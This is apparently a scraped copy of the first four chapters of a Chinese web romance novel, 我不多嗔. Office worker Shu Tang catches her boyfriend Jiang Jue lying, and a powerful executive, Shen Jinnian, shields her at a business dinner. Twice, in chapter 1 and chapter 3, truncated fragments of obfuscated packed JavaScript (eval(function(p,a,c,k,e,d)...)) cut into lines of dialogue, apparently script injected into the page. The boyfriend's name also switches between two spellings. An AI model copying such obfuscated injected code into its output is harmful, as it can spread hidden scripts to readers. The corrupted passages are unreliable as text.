《我不多嗔》 1. chapter 1 舒棠又换工作了。 这次是在大厂做英语教研标注,目前来说是她毕业后最满意的一个工作,没有之一。 双休,月薪税后一万,早十晚五不加班,还包括午休两个小时。 这待遇是她这种民办二本的毕业生打着灯笼都找不到的好工作。 而她能入职还是靠男朋友江决推荐的,所以她准备在拿到首月的工资当天请江决在醉仙居用晚餐。 醉仙居是京城老城区刚开业不久的一家私房菜饭店,人均四位数。 她这也算大出血了。 而今天,十月十号。 也就是发薪日。 此刻,正午十二点刚过半。 桌上的手机传来一道叮咚声。 【招商银行】您账户8890于10月10日12:30入账工资,人民币10066.89。 舒棠满意的目光落在最后那串数字上,呼出一口气,连饭都顾不上吃,就点开和男朋友的聊天框。 舒芙蕾:【亲爱的江先生:您好!请问你是否愿意于2017年10月10日晚下班后,同我一起共进晚餐,地点位于老城区醉仙居饭店,我将提供贴心的伴侣服务,希望我们秉承对彼此满满的爱意,增进感情,期待您的回复!】 刚把复制来的情侣话术发送出去,头顶就传来一道调侃:“咦,现在请男朋友吃饭的话都这么人机感满满吗?” 舒棠被吓一跳,忙把手机锁屏,回头,“方好好!” 方好好露出一个俏皮的笑容,又眨眨卡姿兰大眼睛,把手上的奶茶递给她,“棠棠姐,喝奶茶。” 舒棠没客气,瞥了眼奶茶瓶身,喝下一口才说:“昨天不是还哭诉自己穷得连上吊都没力气了吗?怎么今天怎么大方?中彩票了?” 她虽入职刚满一个月,但和这位同事关系处得很好,两人很合得来。 她知道方好好是今年刚毕业的应届本科生,而且还是本地人,不像她要租房,方好好没有房租负担,和父母一起住。 舒棠有时候超级羡慕她。 因为她老家是青州的,来京城工作免不了要租房,谁都知道京城寸土寸金,不到十平米的鸽子笼单间房月租也有两千。 那房子她被中介带去看过,看完之后第一感觉就是如果真住在哪里,一个月得写100封遗书。 “哎!” 方好好得意地拿出自己的lv小包,从里面翻出一个信封,夸张地闻了闻。 舒棠不解地眨眨眼,目光像是在看神经病。 “你没事吧?” 方好好和她之间没有小秘密,当下就把信封打开,亮出里面厚厚一沓的红色钞票。 舒棠愣住,说不出话。 “都说了让你相信吸引力法则。” 方好好把钱放回信封里,又把厚厚的信封揣进包里,抬头看到舒棠的神情,笑得两眼弯弯,“别这样看我,见者有份,本小姐这周末带你去找乐子怎么样?” 舒棠收起自己无比惊讶的表情,让自己尽量平静下来,“你真中彩票了?” 方好好抿了口奶茶,边嚼着椰果边说:“差不多吧,上周我不是请假了吗?陪闺蜜去捉/奸,结果没想到她前男友傍上的是个富婆,那富婆姐姐当时把一个二十寸的行李箱给了我闺蜜,打开之后发现全是红钞,我闺蜜哪还有心思管渣男啊,给富婆姐姐说了句不好意思之后,就带我走了。” “……” 舒棠轻咳一声,“你说的是短剧吗?” 方好好知道她肯定不信,又亮出闺蜜朋友圈,递到舒棠面前,“喏,我的好闺闺现在搁芬兰看极光呢。” 舒棠的目光看到手机屏幕上的风景照,以及微信自带的定位功能,这才缓缓相信这是现实生活里真正发生的事情。 方好好把手机搁在一旁,接着说:“这么看来,我之前给你讲的吸引力法则是对的。” “什么吸引力法则?” 舒棠问。 “就是你要相信自己命好,相信自己就是那个天选之女,相信自己会发财,这样,财运和好运才会缠上你。” 方好好是典型的冲浪资深患者,网络上流行的年轻人迷信行为她全都中招了。 边说着,她还边拿着手机摆弄,也不知道突然忙些什么。 舒棠手机嗡嗡作响,她以为是工作群,结果点开一看,全是方好好分享来的视频。 “你在发什么……” 方好好头也不回,“你看啊,都是关于中大奖的段子,它可不是简单的段子,里面可说清了真中大奖之后的兑奖流程。” 舒棠再次懵了,抬头:? “多看看这种视频又没有坏处,我不就是相信自己能中大奖,结果我闺蜜收到了一箱子的钱吗?还分了我好几沓。你不是说自己的助学贷款还没还完吗?那就更应该像我这样了。” 舒棠:“……” “下午上班前,这些视频都看完!听到了吗?” 明明舒棠比方好好还要大两岁,但此刻却被她教育了一番。 舒棠不想再听到什么惊骇世俗的话,乖乖的点头说好。 - 京城的十月,气温有明显的降低。 一整个下午,舒棠都没收到江决的消息。 虽然没收到男朋友的信息,但收到了无数个坏消息。 起初是因为同事给她穿小鞋被领导狠狠骂了一通。 然后是刚走出王总办公室就接到了母亲打来的电话,说外婆脚被扭到了,送进了医院,虽然没有生命危险,但伤到骨头了要开刀动手术。 接二连三的祸事一起砸在她身上,压的她喘不过气,就像做噩梦一样。 工位上,方好好气愤填膺地说:“刚刚明明是唐艺敏故意在王总面前编排你,你为什么不说出来,干嘛要这么憋屈。” 舒棠整理资料,叹了口气,“我实习期还没过呢。” 言外之意就是害怕影响工作转正。 方好好气不过 :“但你又没错,那本来就不是你的工作内容,是唐艺敏硬塞给你做的,现在出了问题,该担责的应该是她。” 舒棠动作一顿,随后装作若无其事地说:“没事,反正不是第一次了。” 方好好有时候真是受够了她这个憋屈的性格,说了句服了,转身走出办公室。 方才被领导骂的原因很简单,那个项目的主要负责人是唐艺敏,但唐艺敏把最重要的部分推给了舒棠,那时舒棠作为初入公司的新人不好推脱只能接下,现在项目暴雷出问题了,唐艺敏便再次把锅都推给舒棠。 幸运的是,王总不是不明真相的上司,只是口头教训了舒棠一通。 现在距离下班时间还有半小时,若是往常方好好早就拉着舒棠一起聊晚饭在哪吃了,可这件事还是让方好好真的有些小生气。 她不明白为什么舒棠要在职场上给自己立一个烂好人的人设。 舒棠握着手机,看到江决发过来的消息,心情更是跌到谷底。 江决:【抱歉啊宝贝,我今晚要开会,院领导也在。】 江决比她大一届,两人本科是同学校不同专业,毕业后江决考到京大读研,今年在读研三。 舒棠回复:【好,我知道了。】 晚饭还不知道吃什么,一抬头,她对上方好好紧盯着自己的目光,怔愣两秒之后露出笑容:“还生我气呢?” 方好好哼了声,故意拿乔:“你晚上陪我吃饭,我才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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街上经过的车流不息,舒棠没多想,她也能猜出来江决应该是和院领导以及新项目的赞助人一起吃饭,大概是推脱不掉的。 舒棠脑子有点乱,不明白江决为什么撒谎,她下意识想掏出手机质问江决为何要撒谎。 理智告诉她不能这样做,但行动比理智要快。 手机听筒里传来等待对方接听的提示音,每一道声音都拉得很长,仿佛一只大掌将她的心攥紧,呼吸不得。 “喂?舒棠?” 听筒里的风声呼啸,舒棠盯着马路对面的江决,声音在颤抖:“江决,你在哪?” 刚问出这句话,她就看到江决身边多了一个俏丽的身影。 几乎是一秒钟,便认出那是他同专业的师妹,叶婉莹。 隔着一条马路,舒棠虽听不到他们在聊什么,但也能从肢体动作看出二人在打情骂俏,脸上都带着笑。 那一瞬间,舒棠的心都凉了半截。 与此同时,电话里的传来江决的声音。 他谎话说得脸不红心不跳:“我在开会呢宝贝,一会儿再打给你。” 说完这话之后,电话被挂断。 一道警笛声也在心中拉响。 站在一旁的方好好把两人的通话尽收耳中。 她也看到了那一幕:“我去,棠棠,他睁眼说瞎话啊——” 话刚说出口就被舒棠打断,“好好,你先回家好吗?” 方好好蹙眉,“那你呢?” 舒棠眼眸微红,带了些水光,“我要去找江决,问清楚。” 2. chapter 2 方好好不解,皱眉说道:“他这摆明了是出轨了,你怎么还要去找他。” 舒棠摇头,语气坚定:“不可能的,你不了解江决,他不会做出那种事情。” 其实仅凭眼下这一幕,就给江决扣出轨的帽子确实有些冤枉他,但方好好接触过各种各样的男人,眼光毒辣,一眼就能看出江决和舒棠不是一路人。 舒棠稳当踏实,走的路也是扎实的。 而江决野心外露,属于那种不择手段往上爬的角色,之后势必会为了一些利益抛弃舒棠。 况且再加上江决这一学期身边多了个猛烈追求他的师妹叶婉莹,他虽明确拒绝过叶婉莹,但也架不住人家整日和江决朝夕相处,近水楼台。 “好好,不要这样说江决,我相信他,如果不是他,我可能还在老家继续着月薪三千没有社保又看不到未来的工作。”舒棠说。 方好好明白这个理,“可是,你在老家月薪三千那又怎样,你老家消费水平低,吃住都在家里,没有高额开销,安逸的生活不好吗?” 舒棠不再去看马路对面的一对男女,垂眸说:“你不是我,所以不能替我做决定,好好,你先回家吧,好吗?” 方好好皱眉,盯着舒棠看了好一会儿,最后叹了口气:“好吧,那你有事一定要联系我,知道吗?” “好。” 方好好离开后,舒棠呼出一口气,在心里给自己打气,朝街对面走去。 扪心自问,她就是个普通且平庸的女孩。 从小生活在农村,父母都是初中毕业,后来父母攒了点钱背上房贷才能在县城买套小两居,在县城干起了小买卖,夫妻俩昼夜颠倒地卖馒头,生活维持得还算可以。 高考那年,父亲出车祸住院,花了不少钱给父亲治病,导致舒棠的大学学费都是办的助学贷款,生活费是贫困助学金。 舍友都在享受大学时光,忙着谈恋爱学化妆打扮自己的时候,她在利用课余时间打工。 大学四年,她摇过奶茶,当过服务员,做过英语家教。 临近毕业时,她还剩下两万块的助学贷没还完。 全家只出了她一个大学生,但也只是一所民办二本院校的毕业生。 这个学历含金量低,步入社会后找工作频频受阻。 父母看她在京城工作没攒下钱,干脆让她回了老家上班。 一直到今年开春,她都在干着月薪三千的工作。 江决大学时期曾追求过她,她那时忙于打工赚钱,而江决在学校属于追求者颇多的那种阳光男孩,喜欢他的漂亮女生有很多,所以自卑的她根本不敢和江决谈恋爱。 直到今年三月份,江决问她想不想来京城发展,她说了想。 江决那时已经考入京大读研二,在这之前两人的联系从未断过,没在一起之前江决会在跨年的时候,驱车百里来到青州为她放烟花。 也会在她初来北京时带她看房租房,在她找工作的时候提针对性的建议。 两人正式在一起是在今年的愚人节那天,因为那天是舒棠生日。 起初舒棠以为是在开玩笑,但看到江决神情无比认真之后,才明白他是真的想和自己在一起。 那天,两人的关系由学长学妹转成恋人。 现在,他们在一起有半年了。 热恋期的激情早已褪去。 …… 前方的红灯转绿,舒棠的思绪也回到现实。 马路对面早已没有江决和叶婉莹的身影,舒棠凭着记忆走到那个巷子口。 一家私人会所坐落在此,暗金大门紧闭,没有牌匾不挂牌,手机导航不显示会所名称,只有一个坐标点。 舒棠点开和江决的聊天框,再次打了个电话过去。 手机听筒里传来嗡嗡的声音,她脑海里也回荡起最近江决的反常。 刚在一起时,江决对她的分享欲很强,每天发生了什么都会事无巨细地告诉她,就连吃饭上厕所洗澡这种小事也会和她讲。 而最近两个月,聊天框里大多是都是她的消息,江决给她分享日常的次数变少了。 “舒棠?” 电话被拒接的同时,会所的大门缓缓打开,走出一个熟悉的身影。 江决握着手机,也没想到舒棠竟然在这里。 他惊讶的同时有几分心虚,“宝贝,你怎么在这?” 舒棠垂眸,看到屏幕上的几个刺眼的字:【对方已拒绝您的通话】 她没有回答江决的问题,而是反问道:“你不是在学校开会吗?为什么会在这里。” 江决张了张口,“我导师临时组的饭局,我也不想来的。” 说完这话,想上前牵住舒棠的手,但却被她躲掉了。 江决知道她生气了,叹气低哄:“宝贝,刚刚我不是故意说谎的——” “可你还是骗我了,不是吗?” 舒棠后退一步,打断他的话,“江决,你忘记我曾经说过什么了吗?” 江决茫然道:“什么?” 这神情像一根小针刺进她心口,她抿抿唇,“如果你对我没有感情了,那就实话实说告诉我,我会和你和平分手,不会缠着你。” 虽然早就这样给自己预警过,但再次说出这句话的时候,她心里还是格外难受。 江决急忙用力牵住她的手,力道很大:“舒棠,这种话不要再说了,我没有想分手,我说谎也是迫不得已的。” 巷子里只有他们两人,巷子外那些车流不息的声音也尽数飘了过来。 舒棠眼睛红红的,听到他这样说,悬着的心落回平地上,“真的吗?” “当然——” “当然是真的了,嫂子。” 一道俏皮的女声打断了江决的话。 舒棠回头,江决的目光也一起看过去。 只见叶婉莹从会所里走出来,身上穿着价值lv大衣,勾勒出盈盈一握的腰身,脸上画着精致的妆容,自带一股千金感,和舒棠这种上了一天班的女孩完全不是一个层次。 叶婉莹走到两人跟前,嘴角带着人畜无害的笑,“嫂子,你别多想,真的是导师临时安排的饭局,我和江师兄都推不掉的,江师兄没提前告诉你,也是怕你多想。” 舒棠微不可查地轻皱眉,能感受到叶婉莹笑容下的丁点炫耀,炫耀她能和江决一起参加饭局。 江决却完全看不出来,只当叶婉莹是替他讲话。 他笑着问:“小莹,你怎么出来了?” 叶婉莹眨眨眼:“导师让我出来找你啊,师兄,沈总和导师在聊你负责的那个项目。” 说到这,江决想起正事,也顾不上舒棠是否消气,转头对着她说:“舒棠,你先回家,我得回去了,今晚在很重要的工作。” 他亲昵地喊同专业的师妹小莹,却对着自己称呼生疏的名字。 叶婉莹见此,也插话:“对呀嫂子,你先回家吧,不用担心师兄,我会照顾好他的。” 如果方才她是在暗戳戳地炫耀,那现在就是在明晃晃地恶心舒棠。 偏偏江决还是没看出来,松开舒棠的手,往回走,边走边对叶婉莹挥手让她也一起回去。 舒棠看着两人愈行愈近的身影,难受到极点,没过多思考,直接开口:“江决,这么晚了,你确定让我一个人回去吗?” 江决好像没听到,正和身边的叶婉莹说说笑笑。 舒棠再也无法伪装冷静,眼眶发红,扬声道:“江决,我们分手吧!” 这话说出口之后,她看到江决的脚步停下了。 江决慢慢转身,不可置信地说:“什么?” 舒棠呼出一口气,“我们分手吧,江决。” 江决只当她是耍小孩子脾气,又或许是以为她吃叶婉莹的醋了,沉下脸:“别闹了,舒棠。我今晚真有很重要的工作要谈,而且小莹她只是我的师妹而已,你能不能不要无理取闹了。” “我无理取闹?” 舒棠指着自己重复:“我无理取闹吗?” 江决皱眉,“那不然呢。” 眼见着两人有吵架的趋势,叶婉莹顺势添了一把火,装作无辜地说道:“嫂子,你别生气,如果我碍了你的眼,那我以后离师兄远点。” 舒棠都要被叶婉莹这话气笑了,她看向叶婉莹,“我没有和你讲话——” 话还没说完,就被江决狠戾的语气打断:“够了,舒棠,我现在不想和你吵,你先回家吧。” 随后,他换了个温和的语气,对叶婉莹说:“小莹,我们走。” 舒棠看到这一幕,心沉入海底,“江决,你如果把我一个人放在这里,我就回青州了,再也不会来京城!” 叶婉莹察觉到她话变重,眨眨眼,故意当着舒棠的面凑近江决,一副善解人意的模样:“师兄,不然你先跟嫂子回家吧,我回去和导师讲一下原因。” 叶婉莹越是善解人意,江决就越觉得舒棠不懂事,还不如一个刚读研一的小姑娘。 可是他忘了,舒棠不过也去年刚毕业。 江决彻底冷下脸,没再给舒棠一个眼神,只是淡淡地说:“你想回青州,那就回去吧。” 此话一出,舒棠只觉心沉入深不见底的大海。 她不知是被冻得,还是被江决冷硬的态度伤到了,嘴唇都在抖,声线不稳:“好。” 说完这个字后,她以为能换来江决的挽留。 结果没有。 江决头也不回地往里走,步子迈得很大,生怕她跟上去缠住他似的。 叶婉莹见状,跟在江决身边,也不知和江决说了什么,转身看了舒棠一眼,朝着她走过来。 舒棠皱眉,眼见着叶婉莹走到自己面前。 叶婉莹眼中的得意清晰可见,她自来熟地牵起舒棠的手,语气和神情全然相反,假好心地说:“嫂子,你别生江师兄的气,要不然我给你打车吧。” 舒棠垂眸,目光放在她手上。 方好好经常说女人的手就是第二张脸,也是要经常敷手膜保养的。 而叶婉莹的手确实和她那张脸一样出众,象牙白的指节,杏仁状的指甲涂着低饱和的裸色,指尖都微微透着粉。 她不想和眼前的人产生肢体接触,只看了一眼,便将自己的手抽离出来。 可没想到,手还没离 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“舒棠,我们就这样吧。” 江决当着叶婉莹的面,对舒棠说出这句话,也就没有看到叶婉莹眼底那一闪而过的得意。 舒棠怔愣在原地,她方才主动提出分手并不是真的想分手,只是想看看江决是何种态度。 她父母是见过江决的,并且觉得自己走了天大的狗屎运才能找到江决做男朋友,京城本地人,父母都在体制内工作,名下有一辆代步车和三环的一套三居新房。 父母觉得江决研究生毕业后,两人便能领证结婚,就连她也是那样觉得的,所以拼命工作证明自己是可以配得上江决的。 可现在,江决居然要为了其他女人和自己分手。 舒棠声音干涩:“你确定吗?江决。” 江决仿佛下定决心,硬气道:“确定,我们分手吧——” 最后一个字刚落地,身后的暗金大门缓缓打开,一个男人走出来,步伐稳健有力,身后跟着江决的导师吴校长,以及京大的几位领导。 江决和叶婉莹齐齐回头,注意到来人之后,神色陡然一变,没再管舒棠,急忙走到那个气场强大的男人面前,态度恭敬:“沈总,您怎么出来了。” 就连叶婉莹也收起了方才的故作矫揉造作姿态,同江决一样,态度恭敬。 但细看,眼中还夹杂着两分迷恋。 可男人半个眼神都未给面前二人,转头对京大的吴校长开口:“吴老,我是看在你的面子上才有了今日的饭局,可项目的主要负责人都迟到,让我怀疑贵校与我合作的诚意。” 男人语调平静却充满威慑,压迫感极强。 吴校长身旁站着一众校务骨干,闻此话,面色一变。 率先开口的是吴校长,他被激起一身冷汗,“沈总,今日之事是我学生做的不对,我让他给您赔罪。” 吴校长飞快给江决使了个眼色,江决紧随其后,恭敬弯腰:“沈总,实在抱歉,是我没有处理好私事耽误了签约合同,我自愿无偿为项目鞠躬尽瘁。” 沈津年背光而立,脸庞隐在阴影中,居高临下地看着他,那双眼眸冷若冰霜。 倏地,只闻他轻笑一声。 江决松了口气,以为沈津年同意,便准备开口:“沈总——” 还未讲完,便被毫不留情地打断。 “你以为,自己有谈条件的权利吗?” 空气中弥漫着紧张的气息,所有人不自觉地屏住呼吸,江决脸色一僵,面上写满了尴尬和无地自容。 看到这一幕,舒棠也渐渐明白,这个被众人称作「沈总」的人很不一般,是位大人物。 她的目光忍不住绕过江决落在那位沈总身上。 男人眼神冷峻,目光如同猎豹般锐利,给人一种无法回避的威压,周身透着一股不容忽视的强势,令人感到窒息。 直觉告诉她,这个男人很危险。 最好不要招惹这样的人,也不要和他有眼神接触。 得到这个认知后,舒棠想要收回目光,但顷刻间,男人的目光落在了她身上。 舒棠心里一咯噔,脑海里响起警铃。 男人眉头轻挑,那双如幽潭般的眼眸微微眯起,目光明目张胆地落在她脸上,带着一股侵略感。 她提起一口气,心也高高悬起。 场面凝滞,无人敢开口打破僵局。 陡然,沈津年开口了,“这位是?” 那一瞬间,所有人的目光都落在舒棠身上,有探究,有疑问,还有嫉妒。 江决也没想到,沈津年会问这个问题。 他害怕自己如实回答会让沈津年多想,以为自己是公私不分的恋爱脑。 最后,在吴院长催促的目光下,他硬着头皮回答:“沈总,她是我的前女友。” 沈津年无声地嗤笑一声。 目光仿佛在看垃圾般地看向江决,语气嘲讽:“能看出来,你配不上这姑娘。” 舒棠瞳孔一缩。 3. chapter 3 沈津年接连两次都让江决下不来台,即便对方是新项目的赞助商,江决也心里不虞。 有钱了不起啊,他在心里暗骂,面上的和善早已伪装不住,准备撂挑子走人:“我的私事,和你有什么关系——” 吴校长及时发话,一声令下,严肃训斥道:“江决!住口,给沈总道歉!” 其他几位校领导也纷纷开口了:“江决,你糊涂了吗?!” 一直看好江决的王主任也说:“快给沈总道歉,小江,你是不想要前途了吗?” 不仅如此,就连叶婉莹看向江决的目光都带了些鄙夷。 难听的话明明是沈津年说出来的,但要道歉的人却是江决。 江决自然不服气,可他深知自己与这个男人的身份差距。 并且如果不道歉的话,这个项目很有可能就会告吹,所以他忍气吞声,身向沈津年鞠躬九十度说:“对不起,沈总,刚刚是我意气用事了,您大人不记小人过。” 吴校长紧随其后,布满褶子的老脸堆满了谄媚的笑容:“沈总,我这学生不懂事,讲话没有分寸,您别和他一般见识。” 一直安静立于旁侧的舒棠在心中暗暗咂舌,江决不止一次对她提起吴校长,在江决的描述中,吴校长在京大甚至在学术圈里都是权威的象征,可此刻却对着沈津年点头哈腰,好不谄媚。 关键,江决也没做错什么。 她虽然今晚被江决伤透了心,但明白物质方面是她配不上江决,而不是沈津年所说的那样。 思及此,她的目光再次落到男人身上。 恰好此刻,沈津年朝她看来,目光直勾勾地盯着她,眸色幽暗危险。 舒棠急忙与他错开目光,就听到他低沉的嗓音:“吴老,看在你的面子上,我可以不追究,但——” 沈津年故意停顿,唇角露出一丝轻蔑的笑:“盈利分配改为我九你一。” 吴校长愣了下,随后脑子里快速权衡利弊。 江决是此次项目的主要负责人,他自然不赞同沈津年提出的霸王条款,当即就要拒绝,却不料吴校长居然答应了:“好,沈总,一切皆有您安排。” 沈津年勾唇,随意瞥一眼旁边的陈特助,利落下达命令:“吩咐策划,重新拟合同。” 陈特助低头:“是。” 就这样,原本四六分的项目被沈津年改为一九。 闹剧结束,沈津年没心思再待在这儿,懒洋洋地抻了抻脖子,对吴校长扯个笑,“吴老,请吧,晚餐还没结束。” 吴校长心都在滴血,哪还有心思关注晚餐,但面上不显,依旧笑得和善:“好,沈总,您请。” 沈津年并未客套,率先朝会所内部走去,只是刚走出两步,想起什么似的,回身瞥了眼舒棠。 男人垂下眼帘,长睫在眼下投出阴影,却遮不住阴影下灼热的温度。 舒棠愣了下,不明这个眼神意欲何为。 等到舒棠回神的时候,已经坐在这家不对外营业的私人会所里了。 位置就在江决身侧的位置上。 包厢内都是有关此次项目的参与者,她一个外人能进入到此,全是因为方才在会所外,沈津年离开后,陈特助上前邀请自己,态度真诚又恭敬。 舒棠心乱得很,不明白为什么要邀请自己参加这次的饭局。 趁着她还未答话时,吴校长精得很,不停地对江决使眼色,让江决在自己身旁道歉,他最后干脆直接牵起舒棠的手,替她回答了陈特助。 … 酒局过半,包厢内烟雾缭绕。 “宝贝,刚刚是我错了,你原谅我好吗?” 江决喝了杯白酒,脸颊稍红,凑近她耳边低语。 不仅如此,他还趁着无人注意,悄悄从桌下牵起她的手,放在手里时不时揉/捏。以前他们热恋期看电影时,江决经常把座位中间的扶手拿开,在昏暗的影院里牵着她的手看电影。 忆起那些甜蜜过往,舒棠垂眸,心软了两分。 半小时前发生的那些不好的事情自动被忘却。 江决故意在她耳边讲话,像以往那样闹她,又害怕她真的会和自己分手,干脆使出挥杀手锏:“宝贝,今年过年去你家的礼物我都准备好了,叔叔阿姨不是也想见我了吗?” 说完,他捏着舒棠的指骨,双眼发红,眸中带水地盯着她看。 江决的长相在普通人里算上乘,不然在学校里有众多追求者。 此刻他用如此炙热真诚的眼神看向自己,她也忍不住点头,说:“好。” “宝贝,你最好了。” 江决忍不住伸手刮了刮她鼻梁,亲昵过头了。 沈津年刚走进包厢,就看到小情侣旁若无人的这一幕,不动声色地抬眉,瞥了眼陈特助。 陈特助心领神会,走上前,不解风情地打断两人之间的氛围,对舒棠做了个请的手势,“舒小姐,抱歉,您的位置在这边。” 彼时,包厢内的人目光便齐齐朝声源地望去。 陈特助所指的座位就在主位旁边,也就是沈津年身侧。 由此,包厢内众人的目光便有些意味深长。 舒棠突然被人叫起来换位置,有些尴尬和无措,毕竟如果不是有江决在,她这辈子都参加不了此等含金量的饭局。 眼下还坐错了位置,丢死人了。 她迷迷糊糊地起身,抬头对上沈津年递过来的目光,这才后知后觉反应过来,陈特助给自己安排的位置居然在沈津年旁边。 “是不是搞错了?” 话音刚落,所有人都听到陈特助那毕恭毕敬的声音:“不会的,舒小姐,您是沈总邀请的,是座上宾,自然应该坐在沈总旁侧。” 这话无形之中把舒棠和江决的位置拉远了,也是让在场人明白,舒棠能参加这场饭局,与江决无关。 江决也听出言外之意,酒醒了一大半。 他压下心中不满,只能任由对方安排自己女友,“舒棠,你就听陈特助的话,坐过去吧。” 舒棠哦了下,也没多想,由着陈特助引导,重新在沈津年身侧的位置上落座。 一旁的叶婉莹看到这一幕,也忍不住在心里鄙夷江决。 凭什么舒棠一个毫无身份的人能成为沈总的座上宾,而她只能作为江决的助手出现在这里。 要知道,今天饭局上出现的人都是在财经新闻上才能看到的大人物,含金量不是一般的高。 不仅有京大教务精干吴校长和王主任,还有启创未来的董事长,参与这次项目的鼎信集团的 CEO,但都比不上主位的沈津年。 想到这,叶婉莹嫉妒心止不住地向外冒,无法压制。 她笑吟吟地开口:“舒棠姐,沈总邀请你参加这样的饭局,你不得给他站着敬酒啊?” 舒棠一次也没参加过饭局,自然不懂这些酒桌文化,叶婉莹这话算是把她架在火上烤,整间包厢里,她只认识江决,所以求助的目光自然给到江决。 江决眼神安抚她,无声地告诉她别怕。 舒棠松了口气,觉得只要江决在,自己也不会被难堪对待。 但下一秒,启创未来的董事长开口了,“小叶说得不错,小姑娘,你是沈总请来的,理应敬沈总的酒,项目能不能成,全看沈总点不点头了。” 江决蹙眉,若只是叶婉莹开口,那他大可以挡了,随便找个理由就能替舒棠敬酒。 可现在不同,启创未来的林董事长发话了,那这杯酒,舒棠非敬不可了。 瞥见舒棠的目光还落在江决身上,叶婉莹忍不住嘴角上扬,笑吟吟开口:“舒棠姐,你怎么还不开始呀?” 要不然是小地方出来的人呢,这种场合,还指望江决真能帮她啊。 叶婉莹心里想。 王校长能看出江决想为舒棠挡下这杯酒,他皱眉,轻咳一声,使了个眼神过去。 江决起先挣扎了几个回合,最后认命道:“舒棠,你确实该敬沈总一杯酒。” 话音刚落,江决便把分酒器转到舒棠面前,眼神催促她。 舒棠也没想到自己等了许久,等来这样一个结果。 她不可置信地看着他,心里有些委屈,但她知道江决这段时间为了这个项目熬夜通宵了许久,不想因为自己影响项目签约的进程。 一番内心纠结后,她最终端着酒杯站起来,手指微微发颤。 舒棠看向主座上的沈津年。 他正慢条斯理地剥一只虾,黑色衬衫袖口挽到小臂,对周围的起哄声恍若未闻。 “沈总,我敬您。” 舒棠举起酒杯,透明液体晃了晃,几滴白酒顺着杯壁缓缓下滑。 倏地,启创未来的林董上前,一把却按住她的手腕:“哎,这怎么行?得满上!” 他抓起分酒器,咕咚咕咚把她的杯子灌得快要溢出来,“诚意,舒小姐,敬沈总要拿出诚意。” 舒棠再次看向江决,不明白为什么别人这样对她,自己的男朋友却没有反应。 江决咬紧牙关,额间青筋暴起,想阻止却无能为力。 因为吴校长在盯着他,眼神警告他不要意气用事,只是让他女朋友敬杯酒而已,况且还有大把的人想给沈津年敬酒都没这个机会,她应该珍惜。 最终,他不去看舒棠,低声催促:“舒棠,一切都听林董的。” 叶婉莹唇角的笑就没下去过。 真窝囊,她当时怎么就觉得江决是那个潜力股了。 她在心里想。 此刻,满桌的人都盯着舒棠,那些目光像细针,扎在她心尖处。 她慢慢举起酒杯,放在唇边,准备一饮而尽时,耳边落下一道及时的声音。 “且慢。” 沈津年终于抬起了头,他抽了张纸巾擦手,动作不紧不慢。 “林董。” 主位上的男人开口,声音不高,却让整桌瞬间安静,“我最近忌口,医生说不宜饮酒。” 林董愣住:“那……让舒小姐代您喝也一样——” “不一样。” 沈津年不留情面地打断他,目光落在舒棠颤抖的手指上,“她一个小姑娘,这种酒桌陋习,免了。” 舒棠怔住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江诀突然抓住她的手臂,力道有些大。 舒棠不解地看着他:“我说我等你啊。” 江诀的表情放松下来,拍了拍她的脸:“乖,做得好。沈总这种人,不是我们能高攀的,但也不能得罪,知道吗?” 舒棠点点头,心里却有些不是滋味。 江诀的话听起来像是在教导她,却又带着某种她说不清道不明的意味。 又想起方才发生的事,江决及时摆出一副道歉姿态,“抱歉宝贝,今晚让你受委屈了。” 舒棠闻言,怔愣一瞬。 她知道今晚江决也不是故意的,也多多少少能明白酒局就是如此,地位高的领导让你敬酒,你必须要敬酒。 她揉揉江决的头,好脾气地说:“不委屈。” 江决感动地将她揽进怀里,“我的宝贝好乖,周末带你去游乐场好不好。” 舒棠仰头笑,“好。” 这个氛围下,她顺势拿出今晚买给江决的那块手表,送到他面前。 京城深夜的风带着凉,小姑娘鼻尖被冻得发红,但却把整颗心都送给他,眼眸中的光很亮:“江决,谢谢你帮我找到工作,今天发工资了,这是我用工资买下来送给你的。” 手表是轻奢品牌,江决只扫了一眼便揣进兜里,并未做出其他举动。 因为这手表在他眼中太过廉价,戴在手上很丢人。 但他面上没显露分毫,挤出一个笑容,“谢谢宝贝。” 舒棠眨眨眼,发现他没有要问自己工作是否顺利同事好不好相处之类的话的意思,才作罢。 可心里还是也有点小失落。 …… 两人离开后,并未注意到身后一直隐于暗处的陈特助。 陈特助快步走近胡同口的那辆幻影,上了副驾,毕恭毕敬地对后座说:“沈总,舒小姐和江决已经离开。” 车窗紧闭,顶级隔音材料将一切杂音吸收殆尽。车内灯光调至道最时宜的亮度,光洒在男人棱角分明的侧脸上,高挺的鼻梁在脸颊投下阴影。 沈津年颔首,“继续。” 陈特助将今晚会所门口发生的一切都原封不动地交代清楚,包括细枝末节处。 他跟着沈津年工作已经有八年,清楚对方从不会做无用功的事情。 在生意场上,沈津年会为了利益着手布一整局棋,他喜欢看着对手毫无防备地钻进自己布下的陷阱中,最后将所有利益都吐出,归他所有。 在商界,他是令人闻风丧胆的沈家掌权人,手段狠辣高明。 但此刻陈特助忽然发觉自己看不透他了,不明白为何沈津年会把目光放在一个二本毕业家境普通甚至算得上贫穷的女孩身上。 “沈总,请问,您和舒小姐是旧时吗?” 回答他的只有无尽的安静。 陈特助意识到自己说错话,想要改口,就又听到沈津年略微沙哑的嗓音:“小默,你相信宿命论吗?” 不等陈特助回答,男人又轻笑,“算了,我问你做什么。” 陈特助怔愣一瞬,试探性地问:“那今晚的项目和京大签约吗?” 沈津年后背懒洋洋地靠回椅背,语气玩味:“当然签。” 可陈特助看到这,顿觉。 有人要倒霉了。 4. chapter 4 情侣吵过一架之后会变得更加甜蜜,舒棠和江决也不例外。 周末舒棠双休,但江决周末和工作日一样忙碌,两人约着周六中午一起在京大食堂吃午饭。 周六清早,舒棠没赖床,起床之后就直奔洗手间,磨磨蹭蹭收拾了两个小时才出来。 她现在住的地方离京大比较远,坐地铁要一个小时,虽然这个通勤在京城已经算是近了。 她是和室友合租,一套小三居,室友有男有女,她住带独卫的主卧,房租比其他两人贵了一倍,足足有三千。 